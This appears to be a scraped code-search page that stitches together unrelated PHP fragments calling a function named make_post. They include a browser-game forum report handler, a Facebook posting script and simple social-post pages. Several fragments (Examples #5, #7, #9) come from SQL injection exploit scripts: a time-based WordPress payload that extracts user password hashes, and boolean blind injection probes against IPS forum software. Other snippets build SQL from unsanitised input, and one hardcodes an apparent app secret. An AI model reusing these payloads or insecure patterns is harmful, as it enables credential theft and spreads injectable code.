            $insert = mysql_query("INSERT INTO forum\n                          VALUES ('', '{$arrStats['id']}', {$resortforum},\n                          1, '{$search['post_id']}', '',\n                          '{$message}<br /><br />***User id: {$userid}***<br />{$arrStats['tribe']} (# {$arrStats['kingdom']} )', '{$orkTime}', '{$orkTime}',\n                          '{$arrStats['name']}', '{$arrStats['tribe']}',\n                          '0', '{$ip}', '0', '0')\n                           ");
        } elseif ($report == 'Report: Game Error') {
            $search = mysql_query("select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = @mysql_fetch_array($search);
            if ($search['type'] != $resortforum) {
                // There's no topic yet
                $insert = mysql_query("INSERT INTO forum VALUES ('', '0', '{$resortforum}, 1, '0', '{$report}','Automated report thread', '{$orkTime}', '{$orkTime}','Reporter', 'Reporter','0', '0', '0', '0')") or die("insert:" . mysql_error());
            }
            $search = mysql_query("Select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = mysql_fetch_array($search);
            $insert = mysql_query("INSERT INTO forum\n                          VALUES ('', '{$arrStats['id']}', {$resortforum},\n                          1, '{$search['post_id']}', '',\n                          '{$message}<br /><br />***User id: {$userid}***<br />{$arrStats['tribe']} (# {$arrStats['kingdom']} )', '{$orkTime}', '{$orkTime}',\n                          '{$arrStats['name']}', '{$arrStats['tribe']}',\n                          '0', '{$ip}', '0', '0')\n                           ");
        } elseif ($report == 'Report: Game Suggestion') {
            $search = mysql_query("select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = @mysql_fetch_array($search);
            if ($search['type'] != $resortforum) {
                // There's no topic yet
                $insert = mysql_query("INSERT INTO forum VALUES ('', '0', '{$resortforum}, 1, '0', '{$report}','Automated report thread', '{$orkTime}', '{$orkTime}','Reporter', 'Reporter','0', '0', '0', '0')") or die("insert:" . mysql_error());
            }
            $search = mysql_query("Select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = mysql_fetch_array($search);
            $insert = mysql_query("INSERT INTO forum\n                          VALUES ('', '{$arrStats['id']}', {$resortforum},\n                          1, '{$search['post_id']}', '',\n                          '{$message}<br /><br />***User id: {$userid}***<br />{$arrStats['tribe']} (# {$arrStats['kingdom']} )', '{$orkTime}', '{$orkTime}',\n                          '{$arrStats['name']}', '{$arrStats['tribe']}',\n                          '0', '{$ip}', '0', '0')\n                           ");
        } elseif ($report == 'Personal Message') {
            send_mail($userid, $tribe, "Personal Message from {$arrStats['tribe']}(#{$arrStats['kingdom']})", $message);
        } else {
            $search = mysql_query("select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = @mysql_fetch_array($search);
            if ($search['type'] != $resortforum) {
                // There's no topic yet
                $insert = mysql_query("INSERT INTO forum VALUES ('', '0', '{$resortforum}, 1, '0', '{$report}','Automated report thread', '{$orkTime}', '{$orkTime}','Reporter', 'Reporter','0', '0', '0', '0')") or die("insert:" . mysql_error());
            }
            $search = mysql_query("Select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = mysql_fetch_array($search);
            $insert = mysql_query("INSERT INTO forum\n                          VALUES ('', '{$arrStats['id']}', {$resortforum},\n                              1, '{$search['post_id']}', '',\n                              '{$message}<br /><br />***User id: {$userid}***<br />{$arrStats['tribe']} (# {$arrStats['kingdom']} )', '{$orkTime}', '{$orkTime}',\n                              '{$arrStats['name']}', '{$arrStats['tribe']}',\n                              '0', '{$ip}', '0', '0')\n                               ");
        }
        if ($report != 'Personal Message') {
            // M: Highlight forum users                    November 01, 2007
            $alliance = 1;
            notify_forum_users($objSrcUser, $resortforum);
        }
    }
}
Example #5
0
function test_md5delay($cnt)
{
    global $url, $id, $prefix, $suffix;
    // delay in deciseconds
    $delay = -1;
    $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
    $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
    $inj = sprintf($ipattern, $prefix, $id, $cnt);
    $post = sprintf($ppattern, $suffix, $inj, $suffix);
    $start = getmicrotime();
    $buff = make_post($url, $post);
    $end = getmicrotime();
    if (intval($buff) !== -1) {
        die("test_md5delay({$cnt}) - invalid return value, exiting ...");
    }
    $diff = $end - $start;
    $delay = intval($diff * 10);
    return $delay;
}
Example #6
0
$app_id_target = '264530743602';
// cartoonbank http://www.facebook.com/profile.php?id=100001929470986
//$app_id_target = '100001929470986'; // cartoonbank http://www.facebook.com/profile.php?id=100001929470986
$app_secret = '05e24c30ac95a33d726f6d087c3c00f4';
//"YOUR_APP_SECRET";
$theMessage = 'taDA';
global $cartoon_id, $cartoon_name, $cartoon_description, $cartoon_additional_description, $cartoon_image, $cartoon_kategoria, $cartoon_brand;
// 1
$theCode = get_code();
//ee($theCode,"theCode");
// 2
$theAccessToken = get_token($theCode);
//ee($theAccessToken, "theAccessToken2");
// 3
$post_id = '11735';
$result = make_post($post_id);
function fw($text)
{
    $fp = fopen('_kloplog.htm', 'w');
    fwrite($fp, '<br />');
    fwrite($fp, $text);
    fclose($fp);
}
function read_code()
{
    $filename = "/home/www/cb3/wp-content/plugins/fb-post-ales/code.txt";
    $fp = fopen($filename, 'r');
    $contents = fread($fp, filesize($filename));
    fclose($fp);
    return $contents;
}
Example #7
0
function create_posting($userid, $topic_id, $forum, $mode = 'newtopic')
{
    $message = generatepost();
    return make_post($topic_id, $forum, $userid, "", $message, $mode);
}
function test_condition($p)
{
    global $url;
    global $topicname;
    $bret = false;
    $maxtry = 10;
    $try = 1;
    $pattern = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%%5Ball%%5D=1&content_title_only=1&search_term=' . $topicname . '%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527' . $topicname;
    $post = sprintf($pattern, $p);
    while (1) {
        $buff = trim(make_post($url, $post, '', $url));
        if (strpos($buff, 'Your search for the term <em><strong>') > 0) {
            $bret = true;
            break;
        } elseif (strpos($buff, 'No results found for') > 0) {
            break;
        } elseif (strpos($buff, 'Driver Error</title>') !== false) {
            die("Sql error! Wrong prefix?\nExiting ... ");
        } else {
            xecho("test_condition() - try {$try} - invalid return value ...\n");
            xecho("Will wait 30 seconds for flood control. Expect 2-3 tries.\n");
            xecho("This is going to take years...\n");
            sleep(10);
            $try++;
            if ($try > $maxtry) {
                die("Too many tries - exiting ...\n");
            } else {
                xecho("Trying again - try {$try} ...\n");
            }
        }
    }
    return $bret;
}
Example #9
0
function test_condition($p)
{
    global $url;
    $bret = false;
    $maxtry = 10;
    $try = 1;
    $pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
    $post = sprintf($pattern, $p);
    while (1) {
        $buff = trim(make_post($url, $post, '', $url));
        if ($buff === 'found') {
            $bret = true;
            break;
        } elseif ($buff === 'notfound') {
            break;
        } elseif (strpos($buff, '<title>IPS Driver Error</title>') !== false) {
            die("Sql error! Wrong prefix?\nExiting ... ");
        } else {
            xecho("test_condition() - try {$try} - invalid return value ...\n");
            $try++;
            if ($try > $maxtry) {
                die("Too many tries - exiting ...\n");
            } else {
                xecho("Trying again - try {$try} ...\n");
            }
        }
    }
    return $bret;
}
Example #10
0
            <form action="user_home.php" method="post" >
              <ol>
                <li>
                  <label for="post_text"></label>
                  <textarea id="post_text" name="post_text" rows="6" cols="50" placeholder="What's New?"></textarea>
                </li>
                <li>
                  <input type="image" name="post_submit" id="post_submit" src="images/submit.gif" class="send" />
                  <div class="clr"></div>
                </li>
              </ol>
            </form>
			<br><br>
				<?php 
if (isset($_POST["post_text"]) && !empty($_POST["post_text"])) {
    if (make_post($_SESSION["username"], $_POST["post_text"])) {
    } else {
        echo "Post request failed";
    }
}
?>
			
			<?php 
global $connection;
$user_name = $_SESSION["username"];
$query = "select home from login_info where user_name ='{$user_name}'";
$result = mysqli_query($connection, $query) or die("Database query failed: " . mysqli_error($connection));
$row = mysqli_fetch_assoc($result);
$res = $row["home"];
$res = trim($res);
$posts = explode('brutus', $res);
Example #11
0
<?php

require "soc_common.php";
// sanity checks
if (empty($_POST['title'])) {
    apologize("Post must have a title.");
}
empty($_POST['title']) || ($text = $_POST['text']);
// make post
if (make_post($soc, $_POST['title'], $text) === false) {
    apologize("Failed to submt post.");
}
redirect("soc.php?soc=" . $soc["soc_name"]);